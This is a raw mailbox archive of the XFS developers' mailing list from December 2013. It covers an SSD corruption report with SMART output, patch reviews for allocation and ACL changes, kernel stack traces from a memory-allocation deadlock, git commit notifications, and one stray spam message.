QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143020 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Dec 11, 2013, at 10:27 AM, Dave Jones wrote: >=20 > Thoughts ? Could sda be dying ? (It is a fairly old crappy ssd) It may reveal nothing useful, but please report the results from = 'smartctl -x /dev/sda' and if not found install smartmontools package. Chris Murphy= From davej@redhat.com Wed Dec 11 12:58:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9573D7F4E for ; Wed, 11 Dec 2013 12:58:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 162EAAC00B for ; Wed, 11 Dec 2013 10:58:00 -0800 (PST) X-ASG-Debug-ID: 1386788279-04cbb041696b68f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id O6AWZYiUP5kv2TpE for ; Wed, 11 Dec 2013 10:57:59 -0800 (PST) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBBIvtUI030378 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 13:57:56 -0500 Received: from gelk.kernelslacker.org (ovpn-113-210.phx2.redhat.com [10.3.113.210]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBBIvmvs000873 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 13:57:55 -0500 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id rBBIvlWE012036; Wed, 11 Dec 2013 13:57:47 -0500 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id rBBIvkOF012035; Wed, 11 Dec 2013 13:57:46 -0500 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Wed, 11 Dec 2013 13:57:46 -0500 From: Dave Jones To: Chris Murphy Cc: xfs@oss.sgi.com Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN Message-ID: <20131211185746.GA11861@redhat.com> X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN References: <20131211172725.GA4606@redhat.com> <68DD7157-6ACE-4548-A466-C1EBD31B6DEB@colorremedies.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <68DD7157-6ACE-4548-A466-C1EBD31B6DEB@colorremedies.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386788279 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Dec 11, 2013 at 11:52:51AM -0700, Chris Murphy wrote: > > On Dec 11, 2013, at 10:27 AM, Dave Jones wrote: > > > > Thoughts ? Could sda be dying ? (It is a fairly old crappy ssd) > > It may reveal nothing useful, but please report the results from 'smartctl -x /dev/sda' and if not found install smartmontools package. I meant it when I said 'old' and 'crappy'. It doesn't even support the interesting SMART commands. Dave smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.11.10-300.fc20.x86_64] (local build) Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org === START OF INFORMATION SECTION === Device Model: G.SKILL 64GB SSD Serial Number: MK08085207D640017 Firmware Version: 02.10104 User Capacity: 64,105,742,336 bytes [64.1 GB] Sector Size: 512 bytes logical/physical Device is: Not in smartctl database [for details use: -P showall] ATA Version is: ATA8-ACS, ATA/ATAPI-7 T13/1532D revision 4a Local Time is: Wed Dec 11 13:56:50 2013 EST SMART support is: Available - device has SMART capability. SMART support is: Enabled AAM feature is: Unavailable APM feature is: Unavailable Rd look-ahead is: Disabled Write cache is: Disabled ATA Security is: Unavailable Wt Cache Reorder: Unavailable === START OF READ SMART DATA SECTION === SMART overall-health self-assessment test result: PASSED General SMART Values: Offline data collection status: (0x00) Offline data collection activity was never started. Auto Offline Data Collection: Disabled. Total time to complete Offline data collection: ( 0) seconds. Offline data collection capabilities: (0x00) Offline data collection not supported. SMART capabilities: (0x0003) Saves SMART data before entering power-saving mode. Supports SMART auto save timer. Error logging capability: (0x00) Error logging NOT supported. No General Purpose Logging support. SMART Attributes Data Structure revision number: 1280 Vendor Specific SMART Attributes with Thresholds: ID# ATTRIBUTE_NAME FLAGS VALUE WORST THRESH FAIL RAW_VALUE 12 Power_Cycle_Count -O--CK 100 100 000 - 5447 9 Power_On_Hours -O--CK 100 100 000 - 0 194 Temperature_Celsius POS--- 032 100 000 - 0 229 Unknown_Attribute -O---- 100 000 000 - 260003199309804 232 Available_Reservd_Space -O---- 100 048 000 - 9028846498104 233 Media_Wearout_Indicator -O---- 100 000 000 - 1122231520092 234 Unknown_Attribute -O---- 100 000 000 - 782120273690 235 Unknown_Attribute -O---- 100 000 000 - 1006826557 ||||||_ K auto-keep |||||__ C event count ||||___ R error rate |||____ S speed/performance ||_____ O updated online |______ P prefailure warning Read SMART Log Directory failed: scsi error aborted command ATA_READ_LOG_EXT (addr=0x00:0x00, page=0, n=1) failed: scsi error aborted command Read GP Log Directory failed SMART Extended Comprehensive Error Log (GP Log 0x03) not supported SMART Error Log not supported SMART Extended Self-test Log (GP Log 0x07) not supported SMART Self-test Log not supported Selective Self-tests/Logging not supported SCT Commands not supported Device Statistics (GP Log 0x04) not supported ATA_READ_LOG_EXT (addr=0x11:0x00, page=0, n=1) failed: scsi error aborted command Read SATA Phy Event Counters failed From bpm@sgi.com Wed Dec 11 13:09:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AE3197F4E for ; Wed, 11 Dec 2013 13:09:49 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5C7F530407A; Wed, 11 Dec 2013 11:09:46 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id F00904266DC; Wed, 11 Dec 2013 13:09:45 -0600 (CST) Date: Wed, 11 Dec 2013 13:09:45 -0600 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , Martin Boutin , "Kernel.org-Linux-RAID" , xfs-oss , "Kernel.org-Linux-EXT4" , Eric Sandeen Subject: Re: Filesystem writes on RAID5 too slow Message-ID: <20131211190945.GF1935@sgi.com> References: <528A5C45.4080906@redhat.com> <20131119005740.GY6188@dastard> <20131121092606.GU11434@dastard> <20131121234116.GD6502@dastard> <20131210191803.GA31162@infradead.org> <20131211002753.GD10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131211002753.GD10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi, On Wed, Dec 11, 2013 at 11:27:53AM +1100, Dave Chinner wrote: > On Tue, Dec 10, 2013 at 11:18:03AM -0800, Christoph Hellwig wrote: > > > xfs: align initial file allocations correctly. > > > > > > From: Dave Chinner > > > > > > The function xfs_bmap_isaeof() is used to indicate that an > > > allocation is occurring at or past the end of file, and as such > > > should be aligned to the underlying storage geometry if possible. > > > > > > Commit 27a3f8f ("xfs: introduce xfs_bmap_last_extent") changed the > > > behaviour of this function for empty files - it turned off > > > allocation alignment for this case accidentally. Hence large initial > > > allocations from direct IO are not getting correctly aligned to the > > > underlying geometry, and that is cause write performance to drop in > > > alignment sensitive configurations. > > > > > > Fix it by considering allocation into empty files as requiring > > > aligned allocation again. > > > > Seems like this one didn't get picked up yet? > > I'm about to resend all my outstanding patches... Sorry I didn't see that one. If you stick the keyword 'patch' in the subject I tend to do a bit better. Regards, Ben From bpm@sgi.com Wed Dec 11 13:36:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EDCC27F4E for ; Wed, 11 Dec 2013 13:36:26 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3833BAC008; Wed, 11 Dec 2013 11:36:23 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id EC7E14266DC; Wed, 11 Dec 2013 13:36:22 -0600 (CST) Date: Wed, 11 Dec 2013 13:36:22 -0600 From: Ben Myers To: Jeff Liu Cc: Eric Sandeen , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: return ENOSPC when trying to set more ACLs than XFS_ACL_MAX_ENTRIES Message-ID: <20131211193622.GG1935@sgi.com> References: <52921D12.7040104@oracle.com> <5292C557.9020008@sandeen.net> <5292D8AB.5080003@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5292D8AB.5080003@oracle.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Jeff, On Mon, Nov 25, 2013 at 12:57:15PM +0800, Jeff Liu wrote: > > On 11/25 2013 11:34 AM, Eric Sandeen wrote: > > On 11/24/13, 9:36 AM, Jeff Liu wrote: > >> From: Jie Liu > >> > >> We currently return EINVAL when trying to set more ACL entries than > >> XFS_ACL_MAX_ENTRIES(), but it would be a bit more meaningful to return > >> ENOSPC in this situation, because the later is used to indicate there > >> is no more space to store new ACLs IMHO. > > > > I'm not quite convinced that it's better; the user will get an > > error string of "no space left on device" which is misleading too, > I admit that both looks misleading... > > and I'd argue that it's no better than "invalid argument." > > > > To me, I think it's not worth changing, but others may disagree. > > > > (I guess looking at ext4, it uses ENOSPC for some similar constraints, > > so maybe three is precedent for this) > Btrfs also uses ENOSPC, but JFS would return something like "Argument list too long" > in this case. I tend to agree with Eric on this one, but if Dave or Christoph want to weigh in that's cool. Thanks, Ben From lng0@qq.com Wed Dec 11 13:51:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 920087F4E for ; Wed, 11 Dec 2013 13:51:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1A57EAC019 for ; Wed, 11 Dec 2013 11:51:29 -0800 (PST) X-ASG-Debug-ID: 1386791487-04cbb041676b8680001-NocioJ Received: from anr.edu.pe (server-anr.anr.edu.pe [200.48.39.3]) by cuda.sgi.com with ESMTP id CDmchfIILKg8FuE4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 11:51:28 -0800 (PST) X-Barracuda-Envelope-From: lng0@qq.com X-Barracuda-Apparent-Source-IP: 200.48.39.3 Received: from ([200.48.39.2]) by server-anr.anr.edu.pe with ESMTP with TLS id 69KS4G1.4677224; Wed, 11 Dec 2013 14:50:19 -0500 Received: from anr.edu.pe (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.13.5/8.13.5) with ESMTP id rBBJp5OJ027191; Wed, 11 Dec 2013 14:51:05 -0500 From: "mr.lg" Subject: i have been trying to contact you? Date: Wed, 11 Dec 2013 14:51:05 -0500 X-ASG-Orig-Subj: i have been trying to contact you? Message-Id: <20131211195101.M99704@anr.edu.pe> X-Mailer: OpenWebMail 2.53 X-OriginatingIP: 116.202.129.221 (orivera) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Barracuda-Connect: server-anr.anr.edu.pe[200.48.39.3] X-Barracuda-Start-Time: 1386791487 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143021 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; From bpm@sgi.com Wed Dec 11 14:22:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7664A7F4E for ; Wed, 11 Dec 2013 14:22:30 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 32C4730407E; Wed, 11 Dec 2013 12:22:27 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C5D0F4266DC; Wed, 11 Dec 2013 14:22:26 -0600 (CST) Date: Wed, 11 Dec 2013 14:22:26 -0600 From: Ben Myers To: Dave Chinner Cc: Emmanuel Lacour , xfs@oss.sgi.com Subject: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) Message-ID: <20131211202226.GH1935@sgi.com> References: <20131128091322.GC5337@easter-eggs.com> <20131128100521.GO10988@dastard> <20131203095357.GC5405@easter-eggs.com> <20131203125057.GU10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203125057.GU10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Dec 03, 2013 at 11:50:57PM +1100, Dave Chinner wrote: > On Tue, Dec 03, 2013 at 10:53:58AM +0100, Emmanuel Lacour wrote: > > On Thu, Nov 28, 2013 at 09:05:21PM +1100, Dave Chinner wrote: > > > On Thu, Nov 28, 2013 at 10:13:22AM +0100, Emmanuel Lacour wrote: > > > > > > > > Dear XFS users, > > > > > > > > > > > > I run a Ceph cluster using XFS on Debian wheezy servers and Linux 3.10 > > > > (debian backports). I see the following line in our logs: > > > > > > > > XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) > > > > > > > > does this reveal a problem in my setup or may I ignore it? If it's a > > > > problem, can someone give me any hint on solving this? > > > > > > It might be, but you need to provide more information for us to be > > > able to make any intelligent comment on the message. Start here: > > > > > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > > > > > > > > The problem continue and crashed my ceph cluster again, so here is all > > the informations said in the FAQ: > > > > http://people.easter-eggs.org/~manu/xfs.log > > OK, 32GB RAM, no obvious shortage, no dirty or writeback data. > 2TB SATA drives, 32AGs, only unusual setting is 64k directory block > size. > > Yup, there's your problem: > > [4583991.478469] ceph-osd D ffff88047fc93f40 0 22951 > 1 0x00000004 > [4583991.478471] ffff88046d241140 0000000000000082 ffffffff81047e75 > ffff88046f949800 > [4583991.478475] 0000000000013f40 ffff88039eb0bfd8 ffff88039eb0bfd8 > ffff88046d241140 > [4583991.478479] 0000000000000000 00000001444d68bd ffff88046d241140 > 0000000000000005 > [4583991.478483] Call Trace: > [4583991.478487] [] ? internal_add_timer+0xd/0x28 > [4583991.478491] [] ? schedule_timeout+0xeb/0x123 > [4583991.478494] [] ? ftrace_raw_event_timer_class+0x9d/0x9d > [4583991.478498] [] ? io_schedule_timeout+0x60/0x86 > [4583991.478502] [] ? congestion_wait+0x70/0xdb > [4583991.478505] [] ? abort_exclusive_wait+0x79/0x79 > [4583991.478518] [] ? kmem_alloc+0x65/0x6f [xfs] > [4583991.478535] [] ? xfs_dir2_block_to_sf+0x5b/0x1fb [xfs] > [4583991.478550] [] ? xfs_dir2_block_sfsize+0x15b/0x16a [xfs] > [4583991.478566] [] ? xfs_dir2_block_removename+0x1c7/0x208 [xfs] > [4583991.478581] [] ? xfs_dir_removename+0xda/0x114 [xfs] > [4583991.478594] [] ? xfs_rename+0x428/0x554 [xfs] > [4583991.478606] [] ? xfs_vn_rename+0x5e/0x65 [xfs] > [4583991.478610] [] ? vfs_rename+0x224/0x35f > [4583991.478614] [] ? lookup_dcache+0x22/0x95 > [4583991.478618] [] ? SYSC_renameat+0x1c8/0x257 > [4583991.478622] [] ? __cache_free.isra.45+0x178/0x187 > [4583991.478625] [] ? SyS_mkdirat+0x2e/0xce > [4583991.478629] [] ? do_notify_resume+0x53/0x68 > [4583991.478633] [] ? system_call_fastpath+0x16/0x1b > > It'll be stuck on this: > > hdr = kmem_alloc(mp->m_dirblksize, KM_SLEEP); > > which is trying to allocate a contiguous 64k buffer to copy the > direct contents into before freeing the block and then formatting > them into the inode. The failure will be caused by memory > fragmentation, and the only way around it is to avoid the contiguous > allocation of that size. > > Which, I think, is pretty easy to do. Yup, barely smoke tested patch > below that demonstrates the fix. Beware - patch may eat babies and > ask for more. Use it at your own risk! > > I'll post it for review once it's had some testing and I know it > doesn't corrupt directories all over the place. > > > This may be related to a friend problem here: > > > > http://tracker.ceph.com/issues/6386 > > Doesn't look related, unless the OOM killer is being triggered > somehow... > > Hmmmm - there's also a good chance the the transaction commit code > has this same problem contiguous allocation problem given that it > has to allocate enough space to log an entire directory buffer. Good > guess - there's another thread stuck on exactly that: > > [4583991.476833] ceph-osd D ffff88047fc33f40 0 11072 1 0x00000004 > [4583991.476836] ffff88038b32a040 0000000000000082 ffffffff81047e75 ffff88046f946040 > [4583991.476840] 0000000000013f40 ffff88048ea11fd8 ffff88048ea11fd8 ffff88038b32a040 > [4583991.476844] 0000000000000000 00000001444d68be ffff88038b32a040 0000000000000005 > [4583991.476848] Call Trace: > [4583991.476852] [] ? internal_add_timer+0xd/0x28 > [4583991.476855] [] ? schedule_timeout+0xeb/0x123 > [4583991.476859] [] ? ftrace_raw_event_timer_class+0x9d/0x9d > [4583991.476862] [] ? io_schedule_timeout+0x60/0x86 > [4583991.476867] [] ? congestion_wait+0x70/0xdb > [4583991.476870] [] ? abort_exclusive_wait+0x79/0x79 > [4583991.476883] [] ? kmem_alloc+0x65/0x6f [xfs] > [4583991.476899] [] ? xfs_log_commit_cil+0xe8/0x3d1 [xfs] > [4583991.476904] [] ? current_kernel_time+0x9/0x30 > [4583991.476909] [] ? current_fs_time+0x27/0x2d > [4583991.476925] [] ? xfs_trans_commit+0x62/0x1cf [xfs] > [4583991.476939] [] ? xfs_create+0x41e/0x54f [xfs] > [4583991.476943] [] ? lookup_fast+0x3d/0x215 > [4583991.476954] [] ? xfs_lookup+0x88/0xee [xfs] > [4583991.476966] [] ? xfs_vn_mknod+0xb7/0x162 [xfs] > [4583991.476970] [] ? vfs_create+0x62/0x8b > [4583991.476974] [] ? lookup_dcache+0x22/0x95 > [4583991.476978] [] ? do_last+0x595/0xa16 > [4583991.476982] [] ? path_openat+0xc4/0x335 > [4583991.476985] [] ? do_filp_open+0x2a/0x6e > [4583991.476989] [] ? __alloc_fd+0xd0/0xe1 > [4583991.476993] [] ? do_sys_open+0x5c/0xe0 > [4583991.476996] [] ? system_call_fastpath+0x16/0x1b > > That one isn't so easy to fix, unfortunately. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > xfs: xfs_dir2_block_to_sf temp buffer allocation fails > > From: Dave Chinner > > If we are using a large directory block size, and memory becomes > fragmented, we can get memory allocation failures trying to > kmem_alloc(64k) for a temporary buffer. However, there is not need > for a directory buffer sized allocation, as the end result ends up > in the inode literal area. This is, at most, slightly less than 2k > of space, and hence we don't need an allocation larger than that > fora temporary buffer. > > Signed-off-by: Dave Chinner D'oh, I missed this one too. If you stick 'patch' in the subject they'll have additional visibility. Looks good to me. Reviewed-by: Ben Myers From bpm@oss.sgi.com Wed Dec 11 15:29:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id D9F4D7F50; Wed, 11 Dec 2013 15:29:18 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v3.12-11685-gf9b395a X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: df8052e7dae00bde6f21b40b6e3e1099770f3afc X-Git-Newrev: f9b395a8ef8f34d19cae2cde361e19c96e097fad Message-Id: <20131211212918.D9F4D7F50@oss.sgi.com> Date: Wed, 11 Dec 2013 15:29:17 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated f9b395a xfs: align initial file allocations correctly 8e825e3 xfs: fix calculation of freed inode cluster blocks b3f03ba xfs: xfs_dir2_block_to_sf temp buffer allocation fails from df8052e7dae00bde6f21b40b6e3e1099770f3afc (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit f9b395a8ef8f34d19cae2cde361e19c96e097fad Author: Dave Chinner Date: Fri Nov 22 10:41:16 2013 +1100 xfs: align initial file allocations correctly The function xfs_bmap_isaeof() is used to indicate that an allocation is occurring at or past the end of file, and as such should be aligned to the underlying storage geometry if possible. Commit 27a3f8f ("xfs: introduce xfs_bmap_last_extent") changed the behaviour of this function for empty files - it turned off allocation alignment for this case accidentally. Hence large initial allocations from direct IO are not getting correctly aligned to the underlying geometry, and that is cause write performance to drop in alignment sensitive configurations. Fix it by considering allocation into empty files as requiring aligned allocation again. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 8e825e3a02ff20973154559c33e662cacedc4458 Author: Ben Myers Date: Tue Dec 10 14:59:31 2013 -0600 xfs: fix calculation of freed inode cluster blocks rec.ir_startino is an agino rather than an ino. Use the correct macro when dealing with it in xfs_difree. Signed-off-by: Ben Myers Reviewed-by: Christoph Hellwig commit b3f03bac8132207a20286d5602eda64500c19724 Author: Dave Chinner Date: Tue Dec 3 23:50:57 2013 +1100 xfs: xfs_dir2_block_to_sf temp buffer allocation fails If we are using a large directory block size, and memory becomes fragmented, we can get memory allocation failures trying to kmem_alloc(64k) for a temporary buffer. However, there is not need for a directory buffer sized allocation, as the end result ends up in the inode literal area. This is, at most, slightly less than 2k of space, and hence we don't need an allocation larger than that fora temporary buffer. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap.c | 9 ++++++-- fs/xfs/xfs_dir2_sf.c | 58 ++++++++++++++++++++++++++++++---------------------- fs/xfs/xfs_ialloc.c | 2 +- 3 files changed, 42 insertions(+), 27 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Wed Dec 11 15:29:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id CB59D7F55; Wed, 11 Dec 2013 15:29:29 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. v3.12-11685-gf9b395a X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: df8052e7dae00bde6f21b40b6e3e1099770f3afc X-Git-Newrev: f9b395a8ef8f34d19cae2cde361e19c96e097fad Message-Id: <20131211212929.CB59D7F55@oss.sgi.com> Date: Wed, 11 Dec 2013 15:29:29 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated f9b395a xfs: align initial file allocations correctly 8e825e3 xfs: fix calculation of freed inode cluster blocks b3f03ba xfs: xfs_dir2_block_to_sf temp buffer allocation fails from df8052e7dae00bde6f21b40b6e3e1099770f3afc (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit f9b395a8ef8f34d19cae2cde361e19c96e097fad Author: Dave Chinner Date: Fri Nov 22 10:41:16 2013 +1100 xfs: align initial file allocations correctly The function xfs_bmap_isaeof() is used to indicate that an allocation is occurring at or past the end of file, and as such should be aligned to the underlying storage geometry if possible. Commit 27a3f8f ("xfs: introduce xfs_bmap_last_extent") changed the behaviour of this function for empty files - it turned off allocation alignment for this case accidentally. Hence large initial allocations from direct IO are not getting correctly aligned to the underlying geometry, and that is cause write performance to drop in alignment sensitive configurations. Fix it by considering allocation into empty files as requiring aligned allocation again. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 8e825e3a02ff20973154559c33e662cacedc4458 Author: Ben Myers Date: Tue Dec 10 14:59:31 2013 -0600 xfs: fix calculation of freed inode cluster blocks rec.ir_startino is an agino rather than an ino. Use the correct macro when dealing with it in xfs_difree. Signed-off-by: Ben Myers Reviewed-by: Christoph Hellwig commit b3f03bac8132207a20286d5602eda64500c19724 Author: Dave Chinner Date: Tue Dec 3 23:50:57 2013 +1100 xfs: xfs_dir2_block_to_sf temp buffer allocation fails If we are using a large directory block size, and memory becomes fragmented, we can get memory allocation failures trying to kmem_alloc(64k) for a temporary buffer. However, there is not need for a directory buffer sized allocation, as the end result ends up in the inode literal area. This is, at most, slightly less than 2k of space, and hence we don't need an allocation larger than that fora temporary buffer. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap.c | 9 ++++++-- fs/xfs/xfs_dir2_sf.c | 58 ++++++++++++++++++++++++++++++---------------------- fs/xfs/xfs_ialloc.c | 2 +- 3 files changed, 42 insertions(+), 27 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Wed Dec 11 16:40:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 80D4F7F4E for ; Wed, 11 Dec 2013 16:40:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0F531AC019 for ; Wed, 11 Dec 2013 14:40:18 -0800 (PST) X-ASG-Debug-ID: 1386801616-04cb6c537c6b5930001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ObFpmbv5v7xqR9k5 for ; Wed, 11 Dec 2013 14:40:16 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtAHAFLpqFJ5LHyk/2dsb2JhbABZgweDOrEchi+BHBd0giUBAQU6HCMQCAMOCgklDwUlAyETiAHCKBcWjnIHhDQEmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 12 Dec 2013 09:10:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqsRw-0008HZ-VQ; Thu, 12 Dec 2013 09:40:12 +1100 Date: Thu, 12 Dec 2013 09:40:12 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Junho Ryu , hughd@google.com, tytso@mit.edu, branto@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH 05/10] 